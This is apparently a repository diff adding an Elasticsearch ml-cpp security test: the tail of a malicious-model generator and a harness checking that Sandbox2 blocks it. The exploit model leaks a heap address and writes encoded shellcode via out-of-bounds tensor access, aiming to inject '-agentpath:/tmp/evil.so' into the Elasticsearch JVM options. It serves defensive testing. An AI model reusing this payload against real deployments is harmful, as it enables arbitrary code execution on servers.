// 8] = int(mprotect_addr) + tmp[j][(shellcode_painyi) // 8] = int(heap_addr + shellcode_painyi) # rax heap_addr+shellcode_painyi + tmp[j][(shellcode_painyi + 0x30) // 8] = int(heap_addr + shellcode_painyi + 0x38) + + # Shellcode that writes "/usr/share/elasticsearch/config/jvm.options.d/gc.options" with "-agentpath:/tmp/evil.so" + shellcodes = [8011543407870619976, 5210791687020442736, 7435271660479868856, 3345460298936504419, 3438577825701195887, 5777950549327376227, 8241980339328235592, 3415262028243167331, -5167792111325451163, 7018986666877744431, -5561328400657201072, 5188609366195851841, -8554581930162470863, 8531427691724884167, 5210665247541455977, 8101259050901599416, 7306915769425088559, -1834855863107423122, 5188146771129452360, 5562011009073] + + start_pianyi = (shellcode_painyi + 0x38) // 8 + for shellcode in shellcodes: + tmp[j][start_pianyi] = shellcode + start_pianyi += 1 + + del tmp[j] + assert 1 == 0, "Input tensor must have at least one element: " + return torch.zeros(0) + + for i in range(heap_len): + print(tmp[i].shape) + + return torch.zeros(0) + + +def generate_models(output_dir): + """Generate all three models.""" + os.makedirs(output_dir, exist_ok=True) + + print("Generating benign model...") + benign_model = SimpleBenignModel() + benign_model_script = torch.jit.script(benign_model) + benign_path = os.path.join(output_dir, "model_benign.pt") + benign_model_script.save(benign_path) + print(f" Saved to {benign_path}") + + print("Generating leak model...") + leak_model = LeakModel() + leak_model_script = torch.jit.script(leak_model) + leak_path = os.path.join(output_dir, "model_leak.pt") + leak_model_script.save(leak_path) + print(f" Saved to {leak_path}") + + print("Generating exploit model...") + exploit_model = ExploitModel() + exploit_model_script = torch.jit.script(exploit_model) + exploit_path = os.path.join(output_dir, "model_exploit.pt") + exploit_model_script.save(exploit_path) + print(f" Saved to {exploit_path}") + + print("All models generated successfully!") + + +if __name__ == "__main__": + if len(sys.argv) > 1: + output_dir = sys.argv[1] + else: + output_dir = "." + + try: + generate_models(output_dir) + except Exception as e: + print(f"Error generating models: {e}", file=sys.stderr) + sys.exit(1) diff --git a/test/test_sandbox2_attack_defense.py b/test/test_sandbox2_attack_defense.py new file mode 100644 index 0000000000..223de43ccc --- /dev/null +++ b/test/test_sandbox2_attack_defense.py @@ -0,0 +1,1091 @@ +#!/usr/bin/env python3 +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the following additional limitation. Functionality enabled by the +# files subject to the Elastic License 2.0 may only be used in production when +# invoked by an Elasticsearch process with a license key installed that permits +# use of machine learning features. You may not use this file except in +# compliance with the Elastic License 2.0 and the foregoing additional +# limitation. +# +"""Manual integration test: Sandbox2 attack-defense end-to-end smoke test. + +Verifies that Sandbox2 defends against a traced PyTorch model that attempts to +write a file outside its allowed scope, using the real +`$TMPDIR/ml-child-ipc/` per-child IPC layout +(`include/sandbox/CPytorchInferenceSandboxPolicy.h`'s `SChildIpcLaunchSpec` +contract, validated by `validateChildIpcLaunchSpec()`) rather than a synthetic +flat directory. + +Not run in CI; use after local Sandbox2 or policy changes. CI coverage for the +*pre-execution* graph-validator layer is provided by CModelGraphValidatorTest +and test_pytorch_inference_evil_models.py; CI coverage for the syscall +inventory is CSandboxedProcessSpawnerTest_Linux. This harness is the only +proof for V14 (docs/projects/mlcpp-sandbox2-pr2873/design.md): that the +*runtime* Sandbox2 filesystem/syscall boundary - not the static graph +validator - stops a malicious model that already got past model load. + +Every malicious model is launched with `--skipModelValidation`. Without that +flag, `CModelGraphValidator` rejects these particular models (they use +`aten::as_strided` with an out-of-bounds offset) before `forward()` ever +runs - so a run without the flag would report "target file not created" for +a reason that has nothing to do with Sandbox2, which is exactly the kind of +crashed-before-reaching-the-boundary false positive the Oracle rule's +"reached marker" requirement exists to rule out (see MG5's +`testPolicyViolationDifferential` `getpgid`-crash precedent in design.md). + +Each case in this harness satisfies the Oracle rule (design.md +"Verification contract"): +1. Positive control: the same model is also run through the controller's + `--disableSandbox` legacy route (Sandbox2 structurally absent) and must + demonstrate the payload actually works there. +2. Reached marker: a `model loaded` line observed on the model's own + `--logPipe` proves it survived `--skipModelValidation` load, and either a + `request_id`-correlated response on the output FIFO, or a confirmed + process death occurring only after that log line, proves `forward()` was + entered. Absent both, the case is an inconclusive FAIL, never a silent + PASS. +3. Negative assertion: under Sandbox2, the protected target file must not be + created. +4. Mechanism assertion: the controller's `start`/`kill` JSON responses and + the discovered child PID's `/proc` liveness. +5. Cleanup assertion: a `kill ` command against the controller must + report failure once the case is done, proving no live child, and hence no + lingering FIFO listener, survives into the next case. + +Usage: + ./dev-tools/run_sandbox2_attack_defense.sh + python3 test/test_sandbox2_attack_defense.py [--test {1,2,all}] + + 1 = benign model (functional positive control) + 2 = exploit model (heap-address leak used to build a ROP chain that + attempts an out-of-sandbox file write) + +Requires: Linux, python3, torch, user namespaces (or root), and built +controller and pytorch_inference binaries under +build/distribution/platform/linux-*/bin/. +""" + +import argparse +import fcntl +import json +import os +import re +import shutil +import stat +import struct +import subprocess +import sys +import tempfile +import threading +import time +import uuid +from pathlib import Path + +TARGET_FILE = '/usr/share/elasticsearch/config/jvm.options.d/gc.options' + +# Bounded waits. Generous because Sandbox2 setup (userns, seccomp filter +# install) and libtorch model load are both slow relative to plain process +# start. +MODEL_LOAD_TIMEOUT = 20 +FORWARD_PASS_TIMEOUT = 15 +PID_DISCOVERY_TIMEOUT = 5 +CONTROLLER_RESPONSE_TIMEOUT = 5 + +HEAP_ADDRESS_PATTERN = re.compile(r'0x[0-9a-fA-F]{8,}') + + +class PipeReaderThread(threading.Thread): + """Thread that reads from a named pipe and writes to a file. + + One instance is scoped to exactly one FIFO for exactly one test case + (see run_pytorch_case()) - it is always .stop()/.join()'d before its + FIFO is removed and a same-named FIFO is recreated for the next case. + Reusing an instance, or leaving an old one running, across cases lets a + reader from a stale case win the open() race on the recreated FIFO and + silently steal/split a later case's bytes (the "single shared un-drained + FIFO reader" defect this harness fixes). + """ + + def __init__(self, pipe_path, output_file): + self.pipe_path = pipe_path + self.output_file = output_file + self.fd = None + self.running = True + self.error = None + super().__init__(daemon=True) + + def run(self): + try: + self.fd = os.open(self.pipe_path, os.O_RDONLY) + with open(self.output_file, 'w') as f: + while self.running: + try: + data = os.read(self.fd, 4096) + if not data: + break + f.write(data.decode('utf-8', errors='replace')) + f.flush() + except OSError as e: + if self.running: + self.error = str(e) + break + except Exception as e: + self.error = str(e) + finally: + if self.fd is not None: + try: + os.close(self.fd) + except OSError: + pass + + def stop(self): + self.running = False + if self.fd is not None: + try: + os.close(self.fd) + except OSError: + pass + + +class StdinKeeperThread(threading.Thread): + """Thread that keeps stdin pipe open for controller by writing to it.""" + + def __init__(self, stdin_pipe_path): + self.stdin_pipe_path = stdin_pipe_path + self.fd = None + self.running = True + super().__init__(daemon=True) + + def run(self): + try: + self.fd = os.open(self.stdin_pipe_path, os.O_WRONLY | os.O_NONBLOCK) + flags = fcntl.fcntl(self.fd, fcntl.F_GETFL) + fcntl.fcntl(self.fd, fcntl.F_SETFL, flags & ~os.O_NONBLOCK) + while self.running: + try: + os.write(self.fd, b'\n') + time.sleep(0.5) + except (OSError, BrokenPipeError): + break + except Exception: + pass + finally: + if self.fd is not None: + try: + os.close(self.fd) + except OSError: + pass + + def stop(self): + self.running = False + if self.fd is not None: + try: + os.close(self.fd) + except OSError: + pass + + +def _read_new_content(path, since_offset): + """Read only the bytes appended to path since since_offset. + + Used to scope every wait_for_*_response() call to exactly the command it + is waiting for, instead of re-parsing the whole (ever-growing, never + closed until process exit) JSON-array output file on every poll - the + latter is how a response to an earlier command could leak into a later + command's parsing. + """ + path = Path(path) + if not path.exists(): + return '' + size = path.stat().st_size + if size <= since_offset: + return '' + with open(path, 'r') as f: + f.seek(since_offset) + return f.read() + + +def _parse_json_objects(new_content): + """Parse a slice of a live, never-closed JSON array (`[{...}\n,{...}`) + into a list of dicts. Tolerates a leading comma (the slice starts mid + array) and a missing trailing bracket (the array is still open).""" + content = new_content.strip() + if not content: + return [] + if content.startswith(','): + content = content[1:].strip() + if not content: + return [] + if not content.startswith('['): + content = '[' + content + if not content.endswith(']'): + content = content + ']' + try: + parsed = json.loads(content) + except json.JSONDecodeError: + return [] + if isinstance(parsed, dict): + return [parsed] + if isinstance(parsed, list): + return parsed + return [] + + +def pid_alive(pid): + """Best-effort liveness check via /proc - works for the sandboxed child + even though it lives in its own PID namespace, because Sandbox2 forks it + directly from a monitor thread inside the controller process, so it is + always visible under its real host PID from the host's own /proc.""" + return os.path.exists(f'/proc/{pid}') + + +def find_child_pid(parent_pid, exe_name, not_before, timeout=PID_DISCOVERY_TIMEOUT): + """Find a process whose PPid is parent_pid and whose comm matches + exe_name, created no earlier than not_before (a time.time() value). + + This is the only way to learn the sandboxed child's PID: the controller + protocol's 'start' response never returns one (see + bin/controller/CCommandProcessor.cc handleStart()), so per-case + kill/reap cleanup assertions (Oracle rule #5) have to discover it + out-of-band the same way an operator debugging a stuck deployment would. + """ + deadline = time.time() + timeout + comm_target = exe_name[:15] # /proc//comm truncates to TASK_COMM_LEN-1 + while time.time() < deadline: + try: + pid_entries = [p for p in os.listdir('/proc') if p.isdigit()] + except OSError: + pid_entries = [] + for pid_str in pid_entries: + try: + with open(f'/proc/{pid_str}/status') as f: + status = f.read() + except OSError: + continue + match = re.search(r'^PPid:\s*(\d+)', status, re.MULTILINE) + if match is None or int(match.group(1)) != parent_pid: + continue + try: + with open(f'/proc/{pid_str}/comm') as f: + comm = f.read().strip() + except OSError: + continue + if comm != comm_target: + continue + try: + ctime = os.stat(f'/proc/{pid_str}').st_ctime + except OSError: + ctime = time.time() + if ctime >= not_before - 1: + return int(pid_str) + time.sleep(0.1) + return None + + +def tail_contains(path, needle, deadline): + """Poll path until it contains needle or deadline (a time.time() value) + passes.""" + while time.time() < deadline: + try: + with open(path, 'r') as f: + if needle in f.read(): + return True + except OSError: + pass + time.sleep(0.2) + try: + with open(path, 'r') as f: + return needle in f.read() + except OSError: + return False + + +class ControllerProcess: + """Manages the controller process and its own command/output/log/stdin + pipes, kept in control_dir - deliberately separate from any child's + `$TMPDIR/ml-child-ipc/` directory (design.md's "separate + controller/child roots" requirement), so a sandboxed child's mount + policy for its own IPC root can never be confused with, or accidentally + widened to include, the controller's own command channel. + """ + + def __init__(self, binary_path, control_dir, controller_dir, child_tmp_base): + self.binary_path = binary_path + self.control_dir = Path(control_dir) + self.controller_dir = controller_dir + self.process = None + self.log_reader = None + self.output_reader = None + self.stdin_keeper = None + self.cmd_pipe_fd = None + self._output_path = self.control_dir / 'controller_output.txt' + + self.pipes = { + 'cmd': str(self.control_dir / 'controller_cmd'), + 'out': str(self.control_dir / 'controller_out'), + 'log': str(self.control_dir / 'controller_log'), + 'stdin': str(self.control_dir / 'controller_stdin'), + } + + for pipe_path in self.pipes.values(): + if os.path.exists(pipe_path): + os.remove(pipe_path) + os.mkfifo(pipe_path, stat.S_IRUSR | stat.S_IWUSR) + + script_dir = Path(__file__).parent + source_config = script_dir / 'boost.log.ini' + test_config = self.control_dir / 'boost.log.ini' + if source_config.exists(): + shutil.copy(source_config, test_config) + else: + with open(test_config, 'w') as f: + f.write('[Core]\n') + f.write('Filter="%Severity% >= TRACE"\n') + f.write('\n') + f.write('[Sinks.Stderr]\n') + f.write('Destination=Console\n') + + log_file = str(self.control_dir / 'controller_log_output.txt') + self.log_reader = PipeReaderThread(self.pipes['log'], log_file) + self.output_reader = PipeReaderThread(self.pipes['out'], str(self._output_path)) + self.log_reader.start() + self.output_reader.start() + time.sleep(0.2) + + print("Pipe readers started (will connect when controller opens pipes)") + sys.stdout.flush() + print("Starting controller process...") + sys.stdout.flush() + + stdin_opened = threading.Event() + stdin_fd_holder = {'fd': None} + + def open_stdin_for_controller(): + stdin_fd_holder['fd'] = os.open(self.pipes['stdin'], os.O_RDONLY) + stdin_opened.set() + + stdin_opener_thread = threading.Thread(target=open_stdin_for_controller, daemon=True) + stdin_opener_thread.start() + + self.stdin_keeper = StdinKeeperThread(self.pipes['stdin']) + self.stdin_keeper.start() + + if not stdin_opened.wait(timeout=3.0): + raise RuntimeError("Failed to open stdin pipe - stdin_keeper did not connect") + + stdin_fd = stdin_fd_holder['fd'] + if stdin_fd is None: + raise RuntimeError("stdin_fd is None after opening") + + print(f"stdin opened: fd={stdin_fd}, stdin_keeper: fd={self.stdin_keeper.fd}") + sys.stdout.flush() + + # trustedTmpDir for validateChildIpcLaunchSpec() is derived by the + # controller itself from its own TMPDIR env var + # (CSandboxedProcessSpawner_Linux.cc / CProcessSpawnerRouter.cc both + # read getenv("TMPDIR"), defaulting to "/tmp"). child_tmp_base must + # therefore be passed as this process's TMPDIR, not merely used + # locally to build pipe paths, or every child spawn will be rejected + # for living outside the "trusted" base the controller believes in. + env = dict(os.environ) + env['TMPDIR'] = str(child_tmp_base) + + self._start_controller_with_stdin(stdin_fd, env) + + time.sleep(0.3) + print(f"Controller started (PID: {self.process.pid})") + time.sleep(1.0) + + print("Opening command pipe...") + sys.stdout.flush() + cmd_pipe_opened = threading.Event() + cmd_pipe_fd_holder = {} + + def open_cmd_pipe(): + try: + cmd_pipe_fd_holder['fd'] = os.open(self.pipes['cmd'], os.O_WRONLY) + except Exception as e: + cmd_pipe_fd_holder['error'] = e + finally: + cmd_pipe_opened.set() + + cmd_pipe_thread = threading.Thread(target=open_cmd_pipe, daemon=True) + cmd_pipe_thread.start() + + if not cmd_pipe_opened.wait(timeout=5.0): + raise RuntimeError("Timeout waiting for controller to open command pipe") + if 'error' in cmd_pipe_fd_holder: + raise RuntimeError(f"Failed to open command pipe: {cmd_pipe_fd_holder['error']}") + + self.cmd_pipe_fd = cmd_pipe_fd_holder.get('fd') + if self.cmd_pipe_fd is None: + raise RuntimeError("cmd_pipe_fd is None after opening") + + print(f"Command pipe opened: fd={self.cmd_pipe_fd}") + sys.stdout.flush() + + def _start_controller_with_stdin(self, stdin_fd, env): + try: + cmd_args = [ + self.binary_path, + '--logPipe=' + self.pipes['log'], + '--commandPipe=' + self.pipes['cmd'], + '--outputPipe=' + self.pipes['out'], + ] + self.process = subprocess.Popen( + cmd_args, + stdin=stdin_fd, + stdout=open(self.control_dir / 'controller_stdout.log', 'w'), + stderr=open(self.control_dir / 'controller_stderr.log', 'w'), + cwd=self.controller_dir, + env=env, + ) + for i in range(5): + time.sleep(0.2) + if self.process.poll() is not None: + break + + if self.process.poll() is not None: + stderr_file = self.control_dir / 'controller_stderr.log' + stderr_msg = stderr_file.read_text() if stderr_file.exists() else '' + raise RuntimeError( + f"Controller exited immediately with code {self.process.returncode}\n" + f"Stderr: {stderr_msg}") + + if self.log_reader.error: + raise RuntimeError(f"Log pipe reader error: {self.log_reader.error}") + if self.output_reader.error: + raise RuntimeError(f"Output pipe reader error: {self.output_reader.error}") + except Exception: + if stdin_fd is not None: + try: + os.close(stdin_fd) + except OSError: + pass + raise + + def send_command(self, command_id, verb, args): + if self.process is None or self.process.poll() is not None: + raise RuntimeError( + f"Controller process is not running " + f"(exit code: {self.process.returncode if self.process else 'N/A'})") + if self.cmd_pipe_fd is None: + raise RuntimeError("Command pipe is not open") + cmd_line = f"{command_id}\t{verb}\t" + "\t".join(args) + "\n" + try: + os.write(self.cmd_pipe_fd, cmd_line.encode('utf-8')) + except Exception as e: + raise RuntimeError(f"Failed to send command: {e}") + + def send_command_and_wait(self, command_id, verb, args, timeout=CONTROLLER_RESPONSE_TIMEOUT): + """Send a command and wait only for bytes appended after this call - + the per-command drain that replaces re-parsing the whole shared + output file (see _read_new_content()).""" + since_offset = self._output_path.stat().st_size if self._output_path.exists() else 0 + self.send_command(command_id, verb, args) + deadline = time.time() + timeout + while time.time() < deadline: + for obj in _parse_json_objects(_read_new_content(self._output_path, since_offset)): + if isinstance(obj, dict) and obj.get('id') == command_id: + return obj + time.sleep(0.1) + return None + + def kill_pid(self, command_id, pid, timeout=CONTROLLER_RESPONSE_TIMEOUT): + """Issue a controller 'kill ' command. Returns the response + dict, or None on timeout. response['success'] is False both when + the PID was never one of the controller's live children and when it + already exited - exactly the registry-poll cleanup mechanism the + Oracle rule's cleanup assertion needs (see + bin/controller/CCommandProcessor.cc handleKill() -> + CSandboxedProcessSpawner::terminateChild()).""" + return self.send_command_and_wait(command_id, 'kill', [str(pid)], timeout=timeout) + + def check_controller_logs(self, max_lines=50): + log_file = self.control_dir / 'controller_log_output.txt' + if not log_file.exists(): + return + try: + lines = log_file.read_text().splitlines()[-max_lines:] + except OSError: + return + interesting = [ln for ln in lines if + '"level":"ERROR"' in ln or '"level":"WARN"' in ln or + 'sandbox' in ln.lower()] + if interesting: + print("--- Controller log (errors/warnings/sandbox) ---") + for ln in interesting[-15:]: + print(f" {ln}") + print("--- end ---") + sys.stdout.flush() + + def cleanup(self): + if self.cmd_pipe_fd is not None: + try: + os.close(self.cmd_pipe_fd) + except OSError: + pass + self.cmd_pipe_fd = None + + if self.process: + try: + self.process.terminate() + self.process.wait(timeout=2) + except subprocess.TimeoutExpired: + self.process.kill() + self.process.wait() + except Exception: + pass + + for keeper in (self.stdin_keeper, self.log_reader, self.output_reader): + if keeper: + keeper.stop() + keeper.join(timeout=1) + + for pipe_path in self.pipes.values(): + try: + if os.path.exists(pipe_path): + os.remove(pipe_path) + except OSError: + pass + + +def find_binaries(): + """Find controller and pytorch_inference binaries.""" + import platform + + script_dir = Path(__file__).parent + project_root = script_dir.parent.absolute() + + machine = platform.machine() + if machine in ('aarch64', 'arm64'): + arch = 'linux-aarch64' + elif machine in ('x86_64', 'amd64'): + arch = 'linux-x86_64' + else: + arch = f'linux-{machine}' + + for candidate_arch in (arch, 'linux-x86_64'): + dist_path = project_root / 'build' / 'distribution' / 'platform' / candidate_arch / 'bin' + controller_path = dist_path / 'controller' + pytorch_path = dist_path / 'pytorch_inference' + if controller_path.exists(): + return str(controller_path.absolute()), str(pytorch_path.absolute()) + + build_path = project_root / 'build' / 'bin' + controller_path = build_path / 'controller' / 'controller' + pytorch_path = build_path / 'pytorch_inference' / 'pytorch_inference' + if controller_path.exists(): + return str(controller_path.absolute()), str(pytorch_path.absolute()) + + controller_bin = os.environ.get('CONTROLLER_BIN') + pytorch_bin = os.environ.get('PYTORCH_BIN') + if controller_bin and pytorch_bin: + return os.path.abspath(controller_bin), os.path.abspath(pytorch_bin) + + raise RuntimeError("Could not find controller or pytorch_inference binaries") + + +def send_inference_request_with_timeout(input_pipe_path, request, timeout=5): + """Write request to input_pipe_path (blocks until pytorch_inference + opens it for reading), bounded by timeout.""" + import queue + + result_queue = queue.Queue() + + def open_and_write(): + try: + with open(input_pipe_path, 'w') as f: + json.dump(request, f) + f.flush() + result_queue.put(True) + except Exception as e: + result_queue.put(e) + + writer_thread = threading.Thread(target=open_and_write, daemon=True) + writer_thread.start() + writer_thread.join(timeout=timeout) + + if writer_thread.is_alive(): + print(f"Warning: Timeout ({timeout}s) waiting to open pytorch_inference input pipe") + return False + try: + result = result_queue.get_nowait() + except queue.Empty: + print("Warning: No result from inference request writer thread") + return False + if isinstance(result, Exception): + print(f"Warning: Could not send inference request: {result}") + return False + return True + + +def generate_models(output_dir): + """Generate test models using the ported generator script.""" + script_dir = Path(__file__).parent + generator_script = script_dir / 'evil_model_generator.py' + project_root = script_dir.parent + + if not generator_script.exists(): + raise RuntimeError(f"Model generator not found: {generator_script}") + + venv_python = project_root / 'test_venv' / 'bin' / 'python3' + python_exec = str(venv_python) if venv_python.exists() else sys.executable + + result = subprocess.run( + [python_exec, str(generator_script), str(output_dir)], + capture_output=True, text=True) + if result.returncode != 0: + raise RuntimeError(f"Model generation failed: {result.stderr}") + + for model in ('model_benign.pt', 'model_exploit.pt', 'model_leak.pt'): + if not (Path(output_dir) / model).exists(): + raise RuntimeError(f"Model {model} was not generated") + + +def prepare_restore_file(model_path, restore_path): + """Wrap a .pt file with the 4-byte big-endian size header that + CBufferedIStreamAdapter expects (matching how Elasticsearch sends + models).""" + model_bytes = Path(model_path).read_bytes() + with open(restore_path, 'wb') as restore_file: + restore_file.write(struct.pack('!I', len(model_bytes))) + restore_file.write(model_bytes) + + +def make_child_ipc_root(tmp_base, child_id): + """Create $TMPDIR/ml-child-ipc/ (mode 0700), matching the + layout the real controller creates before policy construction per + include/sandbox/CPytorchInferenceSandboxPolicy.h's SChildIpcLaunchSpec + doc comment (and the pattern every C++ unit test for this contract + already uses, e.g. CPytorchInferenceSandboxPolicyTest.cc, + CSandboxedProcessSpawnerLifecycleTest_Linux.cc). This harness plays the + role production code doesn't yet implement (no ml-cpp binary creates + this directory today - see bin/controller/*.cc), the same role + Elasticsearch's ES-side launch code will eventually play.""" + tmp_base = Path(tmp_base) + ml_child_ipc = tmp_base / 'ml-child-ipc' + ml_child_ipc.mkdir(mode=0o700, exist_ok=True) + child_root = ml_child_ipc / child_id + if child_root.exists(): + shutil.rmtree(child_root) + child_root.mkdir(mode=0o700) + return child_root + + +class CaseResult: + def __init__(self, label): + self.label = label + self.ok = True + self.notes = [] + + def fail(self, message): + self.ok = False + self.notes.append(f"FAIL: {message}") + print(f"FAIL: {message}") + sys.stdout.flush() + + def info(self, message): + self.notes.append(message) + print(message) + sys.stdout.flush() + + +def run_pytorch_case(controller, pytorch_bin, model_path, tmp_base, command_id, label, + unsandboxed, request_id): + """Launch pytorch_inference against model_path through the controller, + either sandboxed (default) or unsandboxed (--disableSandbox, the + positive control), using the real per-child ml-child-ipc/ + layout, and return (CaseResult, reached: bool, target_file_created: bool, + response_or_none: dict|None, leaked_address_seen: bool). + + Every FIFO reader started here is stopped before this function returns, + on every exit path, so no reader survives into the next case. + """ + result = CaseResult(f"{label} ({'unsandboxed' if unsandboxed else 'sandboxed'})") + child_id = f"{label}-{uuid.uuid4().hex[:8]}" + child_root = make_child_ipc_root(tmp_base, child_id) + + pytorch_name = Path(pytorch_bin).name + controller_dir = Path(controller.binary_path).parent + pytorch_in_controller_dir = controller_dir / pytorch_name + if pytorch_in_controller_dir.exists() or pytorch_in_controller_dir.is_symlink(): + pytorch_in_controller_dir.unlink() + os.symlink(pytorch_bin, pytorch_in_controller_dir) + + pipes = { + 'input': str(child_root / 'input'), + 'output': str(child_root / 'output'), + 'log': str(child_root / 'log'), + } + for pipe_path in pipes.values(): + os.mkfifo(pipe_path, stat.S_IRUSR | stat.S_IWUSR) + + restore_path = child_root / f'{model_path.stem}_restore.bin' + prepare_restore_file(model_path, restore_path) + + output_file = str(child_root / 'output_captured.txt') + log_file = str(child_root / 'log_captured.txt') + output_reader = PipeReaderThread(pipes['output'], output_file) + log_reader = PipeReaderThread(pipes['log'], log_file) + output_reader.start() + log_reader.start() + + reached = False + target_file_created = False + response = None + leaked_address_seen = False + pid = None + + try: + launch_start = time.time() + cmd_args = [ + f'./{pytorch_name}', + f'--restore={restore_path}', + f'--input={pipes["input"]}', + '--inputIsPipe', + f'--output={pipes["output"]}', + '--outputIsPipe', + f'--logPipe={pipes["log"]}', + '--validElasticLicenseKeyConfirmed=true', + '--skipModelValidation', + f'--modelid={label}', + ] + if unsandboxed: + cmd_args.append('--disableSandbox') + + result.info(f"Sending start command (id={command_id}) for {label}...") + response = controller.send_command_and_wait(command_id, 'start', cmd_args) + if response is None: + result.fail("No response from controller to 'start' command") + controller.check_controller_logs() + return result, reached, target_file_created, None, leaked_address_seen, pid + if response.get('success') is not True: + result.fail(f"Controller rejected start: {response.get('reason')}") + controller.check_controller_logs() + return result, reached, target_file_created, response, leaked_address_seen, pid + result.info(f"Controller accepted start: {response.get('reason')}") + + pid = find_child_pid(controller.process.pid, pytorch_name, launch_start) + if pid is None: + result.fail( + "Could not discover pytorch_inference child PID under /proc within " + f"{PID_DISCOVERY_TIMEOUT}s of a successful start response") + else: + result.info(f"Discovered child PID: {pid}") + + # Reached-marker step 1: the model survived --skipModelValidation + # load and reached ioLoop. Without this, "no target file" is + # indistinguishable from "crashed during model load", which is + # exactly defect 1's false-positive pattern. + model_loaded = tail_contains(log_file, 'model loaded', + time.time() + MODEL_LOAD_TIMEOUT) + if not model_loaded: + result.fail( + f"'model loaded' never observed on --logPipe within " + f"{MODEL_LOAD_TIMEOUT}s - cannot distinguish a Sandbox2 block " + f"from a load-time crash; not asserting on target file") + return result, reached, target_file_created, response, leaked_address_seen, pid + result.info("Reached marker (1/2): 'model loaded' observed on --logPipe") + + request = { + 'request_id': request_id, + 'tokens': [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]], + 'arg_1': [[1, 2, 3, 4, 5, 6, 7, 8, 9, 10]], + 'arg_2': [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]], + 'arg_3': [[0, 1, 2, 3, 4, 5, 6, 7, 8, 9]], + } + if not send_inference_request_with_timeout(pipes['input'], request, timeout=5): + result.fail("Failed to write inference request to input pipe") + return result, reached, target_file_created, response, leaked_address_seen, pid + result.info("Inference request written") + + # Reached-marker step 2: either a response correlated to our + # request_id (forward() ran to completion or raised a caught + # exception), or the child dying only after "model loaded" was + # already observed (forward() was interrupted mid-flight by + # Sandbox2 - a crash here is a legitimate block outcome, a crash + # before model load is not). + forward_response = None + deadline = time.time() + FORWARD_PASS_TIMEOUT + while time.time() < deadline: + for obj in _parse_json_objects(Path(output_file).read_text() + if Path(output_file).exists() else ''): + if isinstance(obj, dict) and obj.get('request_id') == request_id: + forward_response = obj + break + if forward_response is not None: + break + if pid is not None and not pid_alive(pid): + break + time.sleep(0.2) + + if forward_response is not None: + reached = True + result.info(f"Reached marker (2/2): correlated output response: {forward_response}") + error_obj = forward_response.get('error') if isinstance(forward_response, dict) else None + if isinstance(error_obj, dict): + message = error_obj.get('error', '') + if HEAP_ADDRESS_PATTERN.search(str(message)): + leaked_address_seen = True + elif pid is not None and not pid_alive(pid): + reached = True + result.info( + "Reached marker (2/2): child PID exited after 'model loaded' was " + "observed and the request was written - treated as forward() " + "having been interrupted mid-flight") + else: + result.fail( + f"Neither a correlated output response nor child death observed " + f"within {FORWARD_PASS_TIMEOUT}s after sending the request - " + f"inconclusive, not asserting on target file") + return result, reached, target_file_created, response, leaked_address_seen, pid + + target_file_created = os.path.exists(TARGET_FILE) + + finally: + output_reader.stop() + log_reader.stop() + output_reader.join(timeout=1) + log_reader.join(timeout=1) + for pipe_path in pipes.values(): + try: + if os.path.exists(pipe_path): + os.remove(pipe_path) + except OSError: + pass + + return result, reached, target_file_created, response, leaked_address_seen, pid + + +def cleanup_and_verify_reaped(controller, result, pid, base_command_id): + """Cleanup assertion (Oracle rule #5): issue kill(pid) via the + controller until it reports failure (registry has no such live child), + proving the case's child is fully reaped before the next case starts. + If the child is still alive, the first kill() should succeed (True) and + terminate it; the follow-up kill() must then report failure.""" + if pid is None: + result.fail("No PID discovered - cannot assert per-case cleanup/reap") + return + + first = controller.kill_pid(base_command_id, pid) + if first is not None and first.get('success') is True: + result.info(f"kill({pid}) succeeded - child was still live, now terminated") + elif first is not None and first.get('success') is False: + result.info(f"kill({pid}) already failed - child was already reaped (e.g. Sandbox2 killed it)") + else: + result.fail(f"No response to first kill({pid}) command") + return + + # Give the registry/process a moment to settle, then confirm reaped. + time.sleep(0.3) + second = controller.kill_pid(base_command_id + 1, pid) + if second is None: + result.fail(f"No response to confirmation kill({pid}) command") + return + if second.get('success') is not False: + result.fail( + f"Confirmation kill({pid}) reported success={second.get('success')!r}; " + f"expected failure (no live child) - child may still be running/leaked") + return + if pid_alive(pid): + result.fail(f"/proc/{pid} still exists after controller reported it reaped") + return + result.info(f"Cleanup assertion passed: pid {pid} confirmed reaped") + + +def test_benign_model(controller, pytorch_bin, model_path, tmp_base, command_id): + """Functional positive control: a model using only allowlisted ops must + run to completion under Sandbox2 and must not have its target write path + touched (it never attempts one).""" + print("\n" + "=" * 40) + print("Test 1: Benign model (Sandbox2 does not break legitimate use)") + print("=" * 40) + sys.stdout.flush() + + result, reached, target_file_created, response, _, pid = run_pytorch_case( + controller, pytorch_bin, model_path, tmp_base, command_id, + 'benign', unsandboxed=False, request_id='test_benign') + + if not result.ok: + return False + if not reached: + result.fail("Benign model never reached a response - infrastructure problem, not a security result") + return False + if target_file_created: + result.fail(f"Target file unexpectedly created by benign model: {TARGET_FILE}") + return False + + cleanup_and_verify_reaped(controller, result, pid, command_id + 10) + + if result.ok: + print("Benign model test passed") + return result.ok + + +def test_exploit_model(controller, pytorch_bin, model_path, tmp_base, command_id): + """Attack case: the model uses a heap-address leak (an intra-process + memory read Sandbox2 does not, and is not meant to, block - it is not a + syscall or filesystem boundary) to build a ROP chain that attempts to + write a file outside the sandboxed child's allowed scope. Sandbox2's + proof obligation is the write attempt, not the memory read; the + positive control below demonstrates the read+write chain actually + works when Sandbox2 is structurally absent, and the leak-address + pattern check documents (without asserting on) the memory-disclosure + half of the technique so the docstring stays honest about what is and + is not defended here. + + This folds the frozen script's separate 'leak model' case in here: that + case ran the identical target_file check as this one and asserted + nothing about address leakage, so it tested nothing this case doesn't + already test (see task-6 defect 3). + """ + print("\n" + "=" * 40) + print("Test 2: Exploit model (heap leak -> ROP chain -> file write)") + print("=" * 40) + sys.stdout.flush() + + if os.path.exists(TARGET_FILE): + os.remove(TARGET_FILE) + try: + os.makedirs(os.path.dirname(TARGET_FILE), exist_ok=True) + except PermissionError: + pass + + # Positive control: same model, same request, Sandbox2 structurally + # absent via the controller's own --disableSandbox kill switch. Without + # this, "target file absent" only proves the mitigated run behaved + # differently from nothing - it does not prove the mitigation stopped a + # payload that would otherwise have succeeded. + control_result, control_reached, control_target_created, _, control_leak_seen, control_pid = run_pytorch_case( + controller, pytorch_bin, model_path, tmp_base, command_id, + 'exploit', unsandboxed=True, request_id='test_exploit_control') + cleanup_and_verify_reaped(controller, control_result, control_pid, command_id + 20) + + if not control_result.ok or not control_reached: + control_result.fail( + "Positive control did not reach a verdict - cannot 